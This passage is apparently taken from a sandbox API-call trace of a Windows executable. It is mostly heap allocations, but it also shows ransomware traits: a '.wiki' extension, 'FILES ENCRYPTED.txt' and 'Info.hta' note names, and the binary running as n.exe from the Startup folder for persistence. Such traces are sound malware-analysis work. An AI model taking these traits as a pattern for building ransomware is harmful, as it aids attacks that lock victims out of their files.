Flags=0x0, Size=0xa) returned 0x62fec8 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62fee0 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62fef8 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62ff10 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ff28 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ff40 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ff58 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ff70 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ff88 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ffa0 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ffb8 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ffd0 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ffe8 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630000 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630018 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630030 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630048 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630060 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630078 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630090 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6300a8 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6300c0 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12) returned 0x5f6128 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6300d8 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6300f0 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630108 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630120 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630138 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630150 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630168 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630180 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630198 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6301b0 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6301c8 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6301e0 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6301f8 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630238 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630250 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630268 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630280 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630298 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6302b0 [0182.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6302c8 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6302e0 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6302f8 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x630310 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x630328 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x630340 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e5f0 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630358 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e600 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630370 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630388 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6303a0 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6303b8 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6303d0 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6303e8 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x630400 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630418 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630430 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x630448 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x630460 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x630478 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x630490 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6304a8 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e610 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6304c0 [0182.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6304d8 [0182.064] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62fa18, Size=0x800) returned 0x630a20 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4878, Size=0x8) returned 0x5d4878 [0182.065] lstrlenW (lpString=".wiki") returned 5 [0182.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6312a0 | out: hHeap=0x5c0000) returned 1 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6312d0, Size=0x20) returned 0x5f5e18 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5e18, Size=0x40) returned 0x5f6e78 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6e78, Size=0x80) returned 0x63b588 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e680, Size=0x8) returned 0x63e690 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e690, Size=0x10) returned 0x6312d0 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6312d0, Size=0x20) returned 0x5f5c88 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631300, Size=0x20) returned 0x5f5cb0 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5cb0, Size=0x40) returned 0x5f6e78 [0182.065] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0182.065] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631300, Size=0x20) returned 0x5f5cb0 [0182.065] lstrlenW (lpString="Info.hta") returned 8 [0182.065] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x63ffe8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0182.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63ffe8 | out: hHeap=0x5c0000) returned 1 [0182.065] lstrlenW (lpString="n.exe") returned 5 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5c88, Size=0x40) returned 0x5f6e78 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631318, Size=0x20) returned 0x5f5c88 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631318, Size=0x20) returned 0x5f5cb0 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5cb0, Size=0x40) returned 0x5f6ec0 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6ec0, Size=0x80) returned 0x63b588 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x5f92c0 [0182.066] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0182.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f92c0 | out: hHeap=0x5c0000) returned 1 [0182.066] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x63ffe8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0182.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64fff0 | out: hHeap=0x5c0000) returned 1 [0182.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63ffe8 | out: hHeap=0x5c0000) returned 1 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e690, Size=0x8) returned 0x63e680 [0182.066] lstrlenW (lpString="%windir%;") returned 9 [0182.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c88 | out: hHeap=0x5c0000) returned 1 [0182.066] lstrlenW (lpString="C:\\Windows;") returned 11 [0182.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b570 | out: hHeap=0x5c0000) returned 1 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631330, Size=0x20) returned 0x5f5c88 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5c88, Size=0x40) returned 0x5f6ec0 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6ec0, Size=0x80) returned 0x63b588 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x5f92c0 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e6c0, Size=0x8) returned 0x63e6d0 [0182.066] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e6d0, Size=0x10) returned 0x631378 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631378, Size=0x20) returned 0x5f5c88 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e690, Size=0x8) returned 0x63e6d0 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e6a0, Size=0x8) returned 0x63e690 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e6c0, Size=0x8) returned 0x63e6e0 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e6e0, Size=0x10) returned 0x631420 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631420, Size=0x20) returned 0x5f5cb0 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e6d0, Size=0x10) returned 0x631420 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e690, Size=0x10) returned 0x631450 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e6d0, Size=0x8) returned 0x63e6c0 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e6f0, Size=0x8) returned 0x63e700 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631420, Size=0x20) returned 0x5f5df0 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631450, Size=0x20) returned 0x5f5e68 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e710, Size=0x8) returned 0x63e720 [0182.067] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6314c8, Size=0x20) returned 0x5f5e90 [0182.067] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x60b570, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0182.067] lstrlenW (lpString="C:\\") returned 3 [0182.067] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0182.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b570 | out: hHeap=0x5c0000) returned 1 [0182.068] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e750, Size=0x82) returned 0x5f9428 [0182.068] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e770, Size=0x100) returned 0x63d570 [0182.068] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63d678, Size=0x104) returned 0x63d798 [0182.068] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b698, Size=0x100) returned 0x63d8a8 [0182.068] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9428, Size=0x104) returned 0x63d9b0 [0182.068] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63d570, Size=0x200) returned 0x63dac0 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e760 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63dac0 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x631570 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63b720 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x631528 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63b7a8 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x631558 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63d9b0 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x631540 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63d798 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x631588 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63d708 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6315a0 | out: hHeap=0x5c0000) returned 1 [0182.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x63e760 [0182.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6315a0 [0182.069] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6315a0, Size=0x20) returned 0x63d9c8 [0182.069] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63d9c8, Size=0x40) returned 0x5f6ec0 [0182.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6315a0 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e730 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6314c8 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9398 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6314f8 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63d8a8 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6314e0 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e740 | out: hHeap=0x5c0000) returned 1 [0182.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x631510 | out: hHeap=0x5c0000) returned 1 [0182.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62de88 | out: hHeap=0x5c0000) returned 1 [0182.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6208 | out: hHeap=0x5c0000) returned 1 [0182.070] lstrlenW (lpString="%systemdrive%") returned 13 [0182.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5e90 | out: hHeap=0x5c0000) returned 1 [0182.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63b588 | out: hHeap=0x5c0000) returned 1 [0182.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e710 | out: hHeap=0x5c0000) returned 1 [0182.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2c) returned 0x62de88 [0182.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2000) returned 0x631628 [0182.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5fb550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0182.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10014) returned 0x63ffe8 [0182.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x631510 [0182.070] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631510, Size=0x20) returned 0x63d9c8 [0182.070] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63d9c8, Size=0x40) returned 0x5f6f08 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6f08, Size=0x80) returned 0x63b588 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x5f9398 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9398, Size=0x200) returned 0x63e1b0 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e1b0, Size=0x400) returned 0x63d570 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63d570, Size=0x800) returned 0x633630 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x633630, Size=0x1000) returned 0x633630 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x60b570 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x631510 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6314e0 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x63e710 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6314f8 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x63e740 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6314c8 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e710, Size=0x8) returned 0x63e730 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x631588 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e730, Size=0x10) returned 0x631540 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x631558 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x631528 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x631540, Size=0x20) returned 0x63d9c8 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x631540 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e730 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x631570 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6315b8 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63d9c8, Size=0x40) returned 0x5f6f08 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6315d0 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6315e8 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x631600 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x63d588 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d5a0 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d5b8 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e710 [0182.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d5d0 [0182.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6f08, Size=0x80) returned 0x63b588 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d5e8 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d600 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d618 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d630 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d648 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x63d660 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d678 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e770 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d690 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d6a8 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x63d6c0 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d6d8 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x63d6f0 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d708 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x63d720 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d738 [0182.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x634650 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d750 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d768 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d780 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x63d798 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d7b0 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d7c8 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e750 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d7e0 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d7f8 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d810 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x63e780 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d828 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d840 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e790 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d858 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d870 [0182.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x63d888 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d8a0 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d8b8 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d8d0 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x63d8e8 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d900 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x63d918 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d930 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d948 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636650 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636668 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e7a0 [0182.073] 